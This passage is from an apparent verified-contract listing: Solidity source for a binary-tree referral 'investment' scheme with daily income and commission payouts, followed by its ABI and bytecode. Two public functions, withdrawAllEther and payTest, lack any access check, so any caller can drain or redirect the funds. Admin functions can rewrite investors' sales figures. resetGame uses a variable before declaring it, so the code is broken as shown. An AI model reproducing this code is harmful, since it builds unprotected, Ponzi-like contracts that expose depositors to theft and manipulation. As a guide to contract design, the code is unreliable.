        if (totalSell < 90 ether) return 2;
        if (totalSell < 120 ether) return 3;
        if (totalSell < 150 ether) return 4;
        return 5;
    }
    
    function getSellThisMonthLevel(uint256 sellThisMonth) internal pure returns (uint256 level){
        if (sellThisMonth < 2 ether) return 0;
        if (sellThisMonth < 4 ether) return 1;
        if (sellThisMonth < 6 ether) return 2;
        if (sellThisMonth < 8 ether) return 3;
        if (sellThisMonth < 10 ether) return 4;
        return 5;
    }
    
    function getDepositLevel(uint256 sellThisMonth) internal pure returns (uint256 level){
        if (sellThisMonth < 2 ether) return 0;
        if (sellThisMonth < 4 ether) return 1;
        if (sellThisMonth < 6 ether) return 2;
        if (sellThisMonth < 8 ether) return 3;
        if (sellThisMonth < 10 ether) return 4;
        return 5;
    }
    
    function getPercentage(uint256 depositedAmount, uint256 totalSell, uint256 sellThisMonth) internal pure returns(uint256 level) {
        uint256 totalSellLevel = getTotalSellLevel(totalSell);
        uint256 depLevel = getDepositLevel(depositedAmount);
        uint256 sellThisMonthLevel = getSellThisMonthLevel(sellThisMonth);
        uint256 min12 = totalSellLevel < depLevel ? totalSellLevel : depLevel;
        uint256 minLevel = sellThisMonthLevel < min12 ? sellThisMonthLevel : min12;
        return minLevel * 2;
    }

    function getUnpaidSystemCommission(address investorAddress) public view returns(uint256 unpaid) {
        Investor memory investor = investors[investorAddress];
        uint256 depositedAmount = investor.depositedAmount;
        uint256 totalSell = investor.totalSell;
        uint256 leftSell = investor.leftSell;
        uint256 rightSell = investor.rightSell;
        uint256 sellThisMonth = investor.sellThisMonth;
        uint256 sellToPaySystemCommission = rightSell < leftSell ? rightSell : leftSell;
        uint256 commission = sellToPaySystemCommission * getPercentage(depositedAmount, totalSell, sellThisMonth) / 100;
        return commission;
    }
    
    function paySystemCommissionInvestor(address investorAddress, uint256 times) public mustBeAdmin {
        Investor storage investor = investors[investorAddress];
        if (investor.isDisabled) return;
        uint256 systemCommission = getUnpaidSystemCommission(investorAddress);
        if (paySystemCommissionTimes > 3) {
            investor.rightSell = 0;
            investor.leftSell = 0;
        } else if (investor.rightSell >= investor.leftSell) {
            investor.rightSell = investor.rightSell - investor.leftSell;
            investor.leftSell = 0;
        } else {
            investor.leftSell = investor.leftSell - investor.rightSell;
            investor.rightSell = 0;
        }
        investor.sellThisMonth = 0;
        sendEtherForInvestor(investorAddress, systemCommission, 3, 0, times);
    }
    
    function paySystemCommission() public mustBeAdmin {
        // TODO change number 2 here
        if (now <= 30 * ONE_DAY + contractStartAt) return;
        for(uint256 i = 0; i < investorAddresses.length; i++) {
            paySystemCommissionInvestor(investorAddresses[i], paySystemCommissionTimes);
        }
        paySystemCommissionTimes++;
    }
    
    function paySystemCommissionByIndex(uint256 from, uint256 to) public mustBeAdmin {
        require(from >= 0 && to < investorAddresses.length);
        if (now <= 30 * ONE_DAY + contractStartAt) return;
        for(uint256 i = from; i <= to; i++) {
            paySystemCommissionInvestor(investorAddresses[i], paySystemCommissionTimes);
        }
    }

    function finishPayDailyIncome() public mustBeAdmin {
        lastPayDailyIncome = 0;
        payDailyIncomeTimes++;
    }
    
    function finishPaySystemCommission() public mustBeAdmin {
        lastPaySystemCommission = 0;
        paySystemCommissionTimes++;
    }

    // ememergency mode

    function turnOnEmergencyMode() public mustBeAdmin { emergencyMode = true; }

    function cashOutEmergencyMode() public {
        require(msg.sender == emergencyAccount);
        msg.sender.transfer(address(this).balance);
    }
    
    // reset functions
    
    function resetGame(address[] yesInvestors, address[] noInvestors) public mustBeAdmin {
        lastReset = now;
        uint256 yesInvestorsLength = yesInvestors.length;
        for (uint256 i = 0; i < yesInvestorsLength; i++) {
            address yesInvestorAddress = yesInvestors[i];
            Investor storage yesInvestor = investors[yesInvestorAddress];
            if (noInvestor.maxOutTimes > 0 || (noInvestor.withdrewAmount >= noInvestor.depositedAmount && noInvestor.withdrewAmount != 0)) {
                yesInvestor.lastMaxOut = now;
                yesInvestor.depositedAmount = 0;
                yesInvestor.withdrewAmount = 0;
                yesInvestor.rightSell = 0;
                yesInvestor.leftSell = 0;
                yesInvestor.reserveCommission = 0;
            }
        }
        uint256 noInvestorsLength = noInvestors.length;
        for (uint256 j = 0; j < noInvestorsLength; j++) {
            address noInvestorAddress = noInvestors[j];
            Investor storage noInvestor = investors[noInvestorAddress];
            if (noInvestor.maxOutTimes > 0 || (noInvestor.withdrewAmount >= noInvestor.depositedAmount && noInvestor.withdrewAmount != 0)) {
                noInvestor.isDisabled = true;
            }
        }
    }

    function getTotalUnder100Quantity() public view returns(uint256 under) {
        uint256 under100Quantity = 0;
        uint256 length = investorAddresses.length;
        for (uint256 i = 0; i < length; i++) {
            Investor storage investor = investors[investorAddresses[i]];
            if (investor.maxOutTimes > 0) continue;
            uint256 depositedAmount = investor.depositedAmount;
            uint256 withdrewAmount = investor.withdrewAmount;
            if (withdrewAmount >= depositedAmount) continue;
            under100Quantity += (depositedAmount - withdrewAmount);
        }
        return under100Quantity;
    }

    function stopGame() mustBeAdmin public {
        uint256 under100Quantity = getTotalUnder100Quantity();
        uint256 length = investorAddresses.length;
        uint256 balance = address(this).balance;
        for (uint256 i = 0; i < length; i++) {
            address investorAddress = investorAddresses[i];
            Investor storage investor = investors[investorAddress];
            if (investor.maxOutTimes > 0) continue;
            uint256 depositedAmount = investor.depositedAmount;
            uint256 withdrewAmount = investor.withdrewAmount;
            if (withdrewAmount >= depositedAmount) continue;
            sendEtherForInvestor(investorAddress, (depositedAmount - withdrewAmount) * balance / under100Quantity, 6, 0, 0);
        }
    }
    
    function revivalInvestor(address investor) public mustBeAdmin { investors[investor].lastMaxOut = now; }

    // 300 % daily

    function specifyGame(address user, uint256 totalSell, uint256 sellThisMonth, uint256 rightSell, uint256 leftSell) public mustBeAdmin {
        Investor storage investor = investors[user];
        require(investor.generation > 0);
        investor.totalSell = totalSell;
        investor.sellThisMonth = sellThisMonth;
        investor.rightSell = rightSell;
        investor.leftSell = leftSell;
    }

    function getNearlyMaxOut() public view returns(address[] addresses, bytes32[] emails, uint256[] unpaidDailyIncomes, uint256[] unpaidSystemCommissions, uint256[] withdrewAmounts, uint256[] maxOutTimes){
        uint256 length = investorAddresses.length;
        unpaidDailyIncomes = new uint256[](length);
        unpaidSystemCommissions = new uint256[](length);
        emails = new bytes32[] (length);
        withdrewAmounts = new uint256[] (length);
        maxOutTimes = new uint256[] (length);
        addresses = new address[] (length);
        uint256 index = 0;
        for (uint256 i = 0; i < length; i++) {
            address investorAddress = investorAddresses[i];
            if (getPercentToMaxOut(investorAddress) < 250) continue;
            addresses[index] = investorAddress;
            unpaidDailyIncomes[index] = getDailyIncomeForUser(investorAddress);
            unpaidSystemCommissions[index] = getUnpaidSystemCommission(investorAddress);
            emails[index] = stringToBytes32(investors[investorAddress].email);
            withdrewAmounts[index] = investors[investorAddress].withdrewAmount;
            maxOutTimes[index] = investors[investorAddress].maxOutTimes;
            index++;
        }
        return (addresses, emails, unpaidDailyIncomes, unpaidSystemCommissions, withdrewAmounts, maxOutTimes);
    }
    
    function getPercentToMaxOut(address investorAddress) public view returns(uint256) {
        uint256 depositedAmount = investors[investorAddress].depositedAmount;
        if (depositedAmount == 0) return 0;
        uint256 unpaidSystemCommissions = getUnpaidSystemCommission(investorAddress);
        uint256 unpaidDailyIncomes = getDailyIncomeForUser(investorAddress);
        uint256 withdrewAmount = investors[investorAddress].withdrewAmount;
        uint256 percent = 100 * (unpaidSystemCommissions + unpaidDailyIncomes + withdrewAmount) / depositedAmount;
        return percent;
    }
    
    function payToReachMaxOut(address investorAddress) public mustBeAdmin{
        uint256 unpaidSystemCommissions = getUnpaidSystemCommission(investorAddress);
        uint256 unpaidDailyIncomes = getDailyIncomeForUser(investorAddress);
        uint256 withdrewAmount = investors[investorAddress].withdrewAmount;
        uint256 depositedAmount = investors[investorAddress].depositedAmount;
        require(depositedAmount > 0  && withdrewAmount + unpaidSystemCommissions + unpaidDailyIncomes >= 3 * depositedAmount);
        payDailyIncomeForInvestor(investorAddress, 0);
        paySystemCommissionInvestor(investorAddress, 0);
    }
    
    // function getLazyInvestor(address investorAddress) public mustBeAdmin {
        // Investor memory investor = investors[investorAddress];
        // uint256 investmentLength = investor.investments.length;
        // uint256 dailyIncome = 0;
        // for (uint256 i = 0; i < investmentLength; i++) {
        //     Investment memory investment = investments[investor.investments[i]];
        //     if (investment.at < investor.lastMaxOut) continue; 
        //     if (now - investment.at >= ONE_DAY) {
        //         dailyIncome += (now - investment.at) / ONE_DAY * investment.amount / 100;
        //     }
        //     dailyIncome -= investor.dailyIncomeWithrewAmount;
        // }
        // return dailyIncome;
    // }

    // admin control in game
    
    function resetMaxOutInWeek() public mustBeAdmin {
        uint256 length = investorAddresses.length;
        for (uint256 i = 0; i < length; i++) {
            address investorAddress = investorAddresses[i];
            investors[investorAddress].maxOutTimesInWeek = 0;
        }
    }
    
    function setMaximumMaxOutInWeek(uint256 maximum) public mustBeAdmin{ maximumMaxOutInWeek = maximum; }

    function disableInvestor(address investorAddress) public mustBeAdmin {
        Investor storage investor = investors[investorAddress];
        investor.isDisabled = true;
    }
    
    function enableInvestor(address investorAddress) public mustBeAdmin {
        Investor storage investor = investors[investorAddress];
        investor.isDisabled = false;
    }
    
    function donate() payable public { depositedAmountGross += msg.value; }
    
    // TODO remove all test functions
    
    function payTest(address investor, uint256 amount) public { sendEtherForInvestor(investor, amount, 5, 0, 0); }
    
    function setInvestorInfoToTestSystemCommission(address investorAddress, uint256 totalSell, uint256 rightSell, uint256 leftSell, uint256 depositedAmount, uint256 withdrewAmount, uint256 sellThisMonth) public mustBeAdmin {
        Investor storage investor = investors[investorAddress];
        investor.totalSell = totalSell;
        investor.rightSell = rightSell;
        investor.leftSell = leftSell;
        investor.depositedAmount = depositedAmount;
        investor.withdrewAmount = withdrewAmount;
        investor.sellThisMonth = sellThisMonth;
    }
    
    function withdrawAllEther() public { msg.sender.transfer(address(this).balance); }
}

    Contract ABI  
[{"constant":false,"inputs":[],"name":"resetMaxOutInWeek","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"investorAddress","type":"address"}],"name":"enableInvestor","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getContractTime","outputs":[{"name":"_contractStartAt","type":"uint256"},{"name":"_lastReset","type":"uint256"},{"name":"_oneDay","type":"uint256"},{"name":"_lastPayDailyIncome","type":"uint256"},{"name":"_lastPaySystemCommission","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"investorAddress","type":"address"}],"name":"getPercentToMaxOut","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"withdrawAllEther","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getListInvestor","outputs":[{"name":"nodeInvestors","type":"address[]"},{"name":"emails","type":"bytes32[]"},{"name":"unpaidSystemCommissions","type":"uint256[]"},{"name":"unpaidDailyIncomes","type":"uint256[]"},{"name":"depositedAmounts","type":"uint256[]"},{"name":"withdrewAmounts","type":"uint256[]"},{"name":"isDisableds","type":"bool[]"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"investorAddress","type":"address"}],"name":"getInvestorRegularInfo","outputs":[{"name":"email","type":"string"},{"name":"generation","type":"uint256"},{"name":"rightSell","type":"uint256"},{"name":"leftSell","type":"uint256"},{"name":"reserveCommission","type":"uint256"},{"name":"depositedAmount","type":"uint256"},{"name":"withdrewAmount","type":"uint256"},{"name":"isDisabled","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"presenterAddress","type":"address"},{"name":"presenteeAddress","type":"address"},{"name":"parentAddress","type":"address"},{"name":"presenteeEmail","type":"string"},{"name":"isLeft","type":"bool"}],"name":"putPresentee","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"investorAddress","type":"address"}],"name":"getWithdrawals","outputs":[{"name":"ids","type":"bytes32[]"},{"name":"ats","type":"uint256[]"},{"name":"amounts","type":"uint256[]"},{"name":"presentees","type":"address[]"},{"name":"reasons","type":"uint256[]"},{"name":"times","type":"uint256[]"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"investor","type":"address"},{"name":"amount","type":"uint256"}],"name":"payTest","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"finishPayDailyIncome","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"investorAddress","type":"address"}],"name":"getInvestorAccountInfo","outputs":[{"name":"maxOutTimes","type":"uint256"},{"name":"maxOutTimesInWeek","type":"uint256"},{"name":"totalSell","type":"uint256"},{"name":"investorIds","type":"bytes32[]"},{"name":"dailyIncomeWithrewAmount","type":"uint256"},{"name":"unpaidSystemCommission","type":"uint256"},{"name":"unpaidDailyIncome","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"start","type":"uint256"},{"name":"end","type":"uint256"}],"name":"getInvestmentsByTime","outputs":[{"name":"ids","type":"bytes32[]"},{"name":"ats","type":"uint256[]"},{"name":"amounts","type":"uint256[]"},{"name":"emails","type":"bytes32[]"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"investorAddress","type":"address"},{"name":"times","type":"uint256"}],"name":"paySystemCommissionInvestor","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"maximum","type":"uint256"}],"name":"setMaximumMaxOutInWeek","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"start","type":"uint256"},{"name":"end","type":"uint256"}],"name":"getWithdrawalsByTime","outputs":[{"name":"ids","type":"bytes32[]"},{"name":"ats","type":"uint256[]"},{"name":"amounts","type":"uint256[]"},{"name":"presentees","type":"address[]"},{"name":"reasons","type":"uint256[]"},{"name":"times","type":"uint256[]"},{"name":"emails","type":"bytes32[]"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"investorAddress","type":"address"}],"name":"getInvestorTreeInfo","outputs":[{"name":"leftChild","type":"address"},{"name":"rightChild","type":"address"},{"name":"parent","type":"address"},{"name":"presenter","type":"address"},{"name":"sellThisMonth","type":"uint256"},{"name":"lastMaxOut","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"payDailyIncome","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getContractInfo","outputs":[{"name":"_admin","type":"address"},{"name":"_depositedAmountGross","type":"uint256"},{"name":"_developmentFund","type":"address"},{"name":"_operationFund","type":"address"},{"name":"_reserveFund","type":"address"},{"name":"_emergencyAccount","type":"address"},{"name":"_emergencyMode","type":"bool"},{"name":"_investorAddresses","type":"address[]"},{"name":"balance","type":"uint256"},{"name":"_paySystemCommissionTimes","type":"uint256"},{"name":"_maximumMaxOutInWeek","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"uint256"},{"name":"to","type":"uint256"}],"name":"paySystemCommissionByIndex","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"stopGame","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"ONE_DAY","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getNearlyMaxOut","outputs":[{"name":"addresses","type":"address[]"},{"name":"emails","type":"bytes32[]"},{"name":"unpaidDailyIncomes","type":"uint256[]"},{"name":"unpaidSystemCommissions","type":"uint256[]"},{"name":"withdrewAmounts","type":"uint256[]"},{"name":"maxOutTimes","type":"uint256[]"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"investorAddresses","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"rootInvestor","type":"address"}],"name":"getInvestorTree","outputs":[{"name":"nodeInvestors","type":"address[]"},{"name":"emails","type":"bytes32[]"},{"name":"leftSells","type":"uint256[]"},{"name":"rightSells","type":"uint256[]"},{"name":"parents","type":"address[]"},{"name":"generations","type":"uint256[]"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"uint256"},{"name":"to","type":"uint256"}],"name":"payDailyIncomeByIndex","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"turnOnEmergencyMode","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"investorAddress","type":"address"},{"name":"totalSell","type":"uint256"},{"name":"rightSell","type":"uint256"},{"name":"leftSell","type":"uint256"},{"name":"depositedAmount","type":"uint256"},{"name":"withdrewAmount","type":"uint256"},{"name":"sellThisMonth","type":"uint256"}],"name":"setInvestorInfoToTestSystemCommission","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getTotalUnder100Quantity","outputs":[{"name":"under","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"finishPaySystemCommission","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"investorAddress","type":"address"}],"name":"getUnpaidSystemCommission","outputs":[{"name":"unpaid","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"deposit","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"investorAddress","type":"address"},{"name":"times","type":"uint256"}],"name":"payDailyIncomeForInvestor","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"investor","type":"address"}],"name":"revivalInvestor","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"user","type":"address"},{"name":"totalSell","type":"uint256"},{"name":"sellThisMonth","type":"uint256"},{"name":"rightSell","type":"uint256"},{"name":"leftSell","type":"uint256"}],"name":"specifyGame","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"donate","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"yesInvestors","type":"address[]"},{"name":"noInvestors","type":"address[]"}],"name":"resetGame","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"investorAddress","type":"address"}],"name":"disableInvestor","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"paySystemCommission","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"investorAddress","type":"address"}],"name":"getInvestments","outputs":[{"name":"ids","type":"bytes32[]"},{"name":"ats","type":"uint256[]"},{"name":"amounts","type":"uint256[]"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"cashOutEmergencyMode","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"investorAddress","type":"address"}],"name":"payToReachMaxOut","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"investor","type":"address"},{"indexed":false,"name":"times","type":"uint256"},{"indexed":false,"name":"at","type":"uint256"}],"name":"MaxOut","type":"event"}]

  Contract Creation Code Switch To Opcodes View
60806040526000600181905560028190556003554260048181556005829055600682905560079190915560088054600160a060020a03199081167398c3f04e1aa7d9ae1cbe8f07a9084655694962e6179091556009805482167395f8af828bddad4786f5041f3ae87655c45b97ee179055600a8054821673defb0efc618245ad90c04b8b5072553d157368c8179055600b805460a060020a60ff02199216735da4a36b2df3432fd24eaba5ce58eeadc2d70d0e179190911690556012553480156100c857600080fd5b5060008054600160a060020a03191633179055615e7080620000eb6000396000f3006080604052600436106102035763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631667620a811461020d5780631b3f8e441461022257806321bb38f71461024357806328d912801461028357806331c91117146102b657806331cbfea9146102cb578063354694e7146104d2578063393f2a09146105a05780633a2b643a146106165780635550fc13146107e457806359aab5f11461080857806359b43aaf1461081d5780635a64cc7d146108bc5780635bdbeb34146109df578063638aae0f14610a0357806365428b3114610a1b578063719e83a214610a365780637596ab7114610a9c5780637cc1f86714610ab15780637dded8f214610b6157806383bd72ba14610b7c578063863e76db14610b915780638b6b2c1714610ba657806395a25efa14610bbb578063aa9aab1914610bef578063b4dd489014610c10578063bc6b360a14610c2b578063c48d9d5814610c40578063c5acd6ca14610c73578063c8f4095614610c88578063cb60930d14610c9d578063d0e30db014610203578063d202925b14610cbe578063d51527d114610ce2578063de2f5c1714610d03578063ed88c68e14610d30578063ee1fc71a14610d38578063f142ca5e14610dc6578063f9bf2cfd14610de7578063fc73c86e14610dfc578063fca4968214610efb578063fd5e79aa14610f10575b61020b610f31565b005b34801561021957600080fd5b5061020b61115b565b34801561022e57600080fd5b5061020b600160a060020a03600435166111d5565b34801561024f57600080fd5b50610258611212565b6040805195865260208601949094528484019290925260608401526080830152519081900360a00190f35b34801561028f57600080fd5b506102a4600160a060020a0360043516611226565b60408051918252519081900360200190f35b3480156102c257600080fd5b5061020b6112ae565b3480156102d757600080fd5b506102e06112de565b604051808060200180602001806020018060200180602001806020018060200188810388528f818151815260200191508051906020019060200280838360005b83811015610338578181015183820152602001610320565b5050505090500188810387528e818151815260200191508051906020019060200280838360005b8381101561037757818101518382015260200161035f565b5050505090500188810386528d818151815260200191508051906020019060200280838360005b838110156103b657818101518382015260200161039e565b5050505090500188810385528c818151815260200191508051906020019060200280838360005b838110156103f55781810151838201526020016103dd565b5050505090500188810384528b818151815260200191508051906020019060200280838360005b8381101561043457818101518382015260200161041c565b5050505090500188810383528a818151815260200191508051906020019060200280838360005b8381101561047357818101518382015260200161045b565b50505050905001888103825289818151815260200191508051906020019060200280838360005b838110156104b257818101518382015260200161049a565b505050509050019e50505050505050505050505050505060405180910390f35b3480156104de57600080fd5b506104f3600160a060020a03600435166118c1565b60405180806020018981526020018881526020018781526020018681526020018581526020018481526020018315151515815260200182810382528a818151815260200191508051906020019080838360005b8381101561055e578181015183820152602001610546565b50505050905090810190601f16801561058b5780820380516001836020036101000a031916815260200191505b50995050505050505050505060405180910390f35b3480156105ac57600080fd5b50604080516020601f60643560048181013592830184900484028501840190955281845261020b94600160a060020a038135811695602480358316966044359093169536956084949201918190840183828082843750949750505050913515159250611bbc915050565b34801561062257600080fd5b50610637600160a060020a036004351661201c565b6040518080602001806020018060200180602001806020018060200187810387528d818151815260200191508051906020019060200280838360005b8381101561068b578181015183820152602001610673565b5050505090500187810386528c818151815260200191508051906020019060200280838360005b838110156106ca5781810151838201526020016106b2565b5050505090500187810385528b818151815260200191508051906020019060200280838360005b838110156107095781810151838201526020016106f1565b5050505090500187810384528a818151815260200191508051906020019060200280838360005b83811015610748578181015183820152602001610730565b50505050905001878103835289818151815260200191508051906020019060200280838360005b8381101561078757818101518382015260200161076f565b50505050905001878103825288818151815260200191508051906020019060200280838360005b838110156107c65781810151838201526020016107ae565b505050509050019c5050505050505050505050505060405180910390f35b3480156107f057600080fd5b5061020b600160a060020a03600435166024356122c7565b34801561081457600080fd5b5061020b6122da565b34801561082957600080fd5b5061083e600160a060020a0360043516612301565b6040518088815260200187815260200186815260200180602001858152602001848152602001838152602001828103825286818151815260200191508051906020019060200280838360005b838110156108a257818101518382015260200161088a565b505050509050019850505050505050505060405180910390f35b3480156108c857600080fd5b506108d76004356024356125f7565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b8381101561092357818101518382015260200161090b565b50505050905001858103845288818151815260200191508051906020019060200280838360005b8381101561096257818101518382015260200161094a565b50505050905001858103835287818151815260200191508051906020019060200280838360005b838110156109a1578181015183820152602001610989565b5050505090500185810382528681815181526020019150805190602001906020028083836000838110156108a257818101518382015260200161088a565b3480156109eb57600080fd5b5061020b600160a060020a036004351660243561288c565b348015610a0f57600080fd5b5061020b600435612956565b348015610a2757600080fd5b506102e0600435602435612972565b348015610a4257600080fd5b50610a57600160a060020a0360043516612d0a565b60408051600160a060020a039788168152958716602087015293861685850152919094166060840152608083019390935260a082019290925290519081900360c00190f35b348015610aa857600080fd5b5061020b612feb565b348015610abd57600080fd5b50610ac6613057565b60408051600160a060020a03808e16825260208083018e90528c8216938301939093528a811660608301528981166080830152881660a082015286151560c082015261010081018590526101208101849052610140810183905261016060e0820181815287519183019190915286519192909161018084019188810191028083836000838110156107c65781810151838201526020016107ae565b348015610b6d57600080fd5b5061020b600435602435613145565b348015610b8857600080fd5b5061020b6131d0565b348015610b9d57600080fd5b506102a461329e565b348015610bb257600080fd5b506106376132a4565b348015610bc757600080fd5b50610bd3600435613598565b60408051600160a060020a039092168252519081900360200190f35b348015610bfb57600080fd5b50610637600160a060020a03600435166135c0565b348015610c1c57600080fd5b5061020b600435602435613a47565b348015610c3757600080fd5b5061020b613aa0565b348015610c4c57600080fd5b5061020b600160a060020a036004351660243560443560643560843560a43560c435613aee565b348015610c7f57600080fd5b506102a4613b48565b348015610c9457600080fd5b5061020b613bdd565b348015610ca957600080fd5b506102a4600160a060020a0360043516613c04565b348015610cca57600080fd5b5061020b600160a060020a0360043516602435613f0f565b348015610cee57600080fd5b5061020b600160a060020a0360043516613f65565b348015610d0f57600080fd5b5061020b600160a060020a0360043516602435604435606435608435613f9c565b61020b613ffc565b348015610d4457600080fd5b506040805160206004803580820135838102808601850190965280855261020b95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506140069650505050505050565b348015610dd257600080fd5b5061020b600160a060020a0360043516614172565b348015610df357600080fd5b5061020b6141b2565b348015610e0857600080fd5b50610e1d600160a060020a0360043516614210565b60405180806020018060200180602001848103845287818151815260200191508051906020019060200280838360005b83811015610e65578181015183820152602001610e4d565b50505050905001848103835286818151815260200191508051906020019060200280838360005b83811015610ea4578181015183820152602001610e8c565b50505050905001848103825285818151815260200191508051906020019060200280838360005b83811015610ee3578181015183820152602001610ecb565b50505050905001965050505050505060405180910390f35b348015610f0757600080fd5b5061020b614603565b348015610f1c57600080fd5b5061020b600160a060020a036004351661461a565b6000806000610f3e615bbd565b6702c68af0bb140000341015610f5357600080fd5b336000908152600c6020526040902060058101549094501515610f7557600080fd5b601254600c8501541115610f8857600080fd5b600b84015460c81015610f9a57600080fd5b600a8401541580610fb2575061025884600a01544203105b80610fc05750600784015415155b1515610fcb57600080fd5b6001805434908101909155604080514460208083019190915242828401526c010000000000000000000000003302606083015260748083019490945282518083039094018452609490910191829052825182918401908083835b602083106110445780518252601f199092019160209182019101611025565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209250678ac7230489e8000034856007015401111561109d578360070154678ac7230489e800000361109f565b345b91508115156110ad57611155565b506040805160808101825283815242602080830191825282840185815233606085019081526000888152600e909352949091208351815591516001830155516002820155915160039092018054600160a060020a031916600160a060020a039093169290921790915561111f836146b4565b601080546001810182556000919091527f1b6847dc741a1b0cd08d278845f9d819d87b734759afb55fe2de5cb82a9ae672018390555b50505050565b6000805481908190600160a060020a0316331461117757600080fd5b600d549250600091505b828210156111d057600d80548390811061119757fe5b6000918252602080832090910154600160a060020a0316808352600c918290526040832090910191909155600192909201919050611181565b505050565b60008054600160a060020a031633146111ed57600080fd5b50600160a060020a03166000908152600c60205260409020600901805460ff19169055565b600654600754600554600454610258929394565b600160a060020a0381166000908152600c60205260408120600701548180808084151561125657600095506112a4565b61125f87613c04565b935061126a876147a5565b600160a060020a0388166000908152600c6020526040902060080154909350915084606485850184010281151561129d57fe5b0490508095505b5050505050919050565b6040513390303180156108fc02916000818181858888f193505050501580156112db573d6000803e3d6000fd5b50565b60608060608060608060606000806112f4615be4565b6060600d80549050935083604051908082528060200260200182016040528015611328578160200160208202803883390190505b50985083604051908082528060200260200182016040528015611355578160200160208202803883390190505b50975083604051908082528060200260200182016040528015611382578160200160208202803883390190505b509950836040519080825280602002602001820160405280156113af578160200160208202803883390190505b509650836040519080825280602002602001820160405280156113dc578160200160208202803883390190505b50985083604051908082528060200260200182016040528015611409578160200160208202803883390190505b50945083604051908082528060200260200182016040528015611436578160200160208202803883390190505b50975083604051908082528060200260200182016040528015611463578160200160208202803883390190505b509550600092505b8383101561184257600c6000600d8581548110151561148657fe5b600091825260208083209190910154600160a060020a0316835282810193909352604091820190208151815460026101006001831615026000190190911604601f810185900490940281016102c09081019093526102a08101848152909391928492849184018282801561153b5780601f106115105761010080835404028352916020019161153b565b820191906000526020600020905b81548152906001019060200180831161151e57829003601f168201915b50505091835250506001820154600160a060020a039081166020808401919091526002840154821660408085019190915260038501548316606085015260048501549092166080840152600584015460a084015260068401805483518184028101840190945280845260c09094019390918301828280156115e557602002820191906000526020600020905b8154600160a060020a031681526001909101906020018083116115c7575b5050505050815260200160078201548152602001600882015481526020016009820160009054906101000a900460ff16151515158152602001600a8201548152602001600b8201548152602001600c8201548152602001600d8201548152602001600e8201548152602001600f820180548060200260200160405190810160405280929190818152602001828054801561169f57602002820191906000526020600020905b8154815260019091019060200180831161168a575b50505050508152602001601082018054806020026020016040519081016040528092919081815260200182805480156116f857602002820191906000526020600020905b815481526001909101906020018083116116e3575b5050505050815260200160118201548152602001601282015481526020016013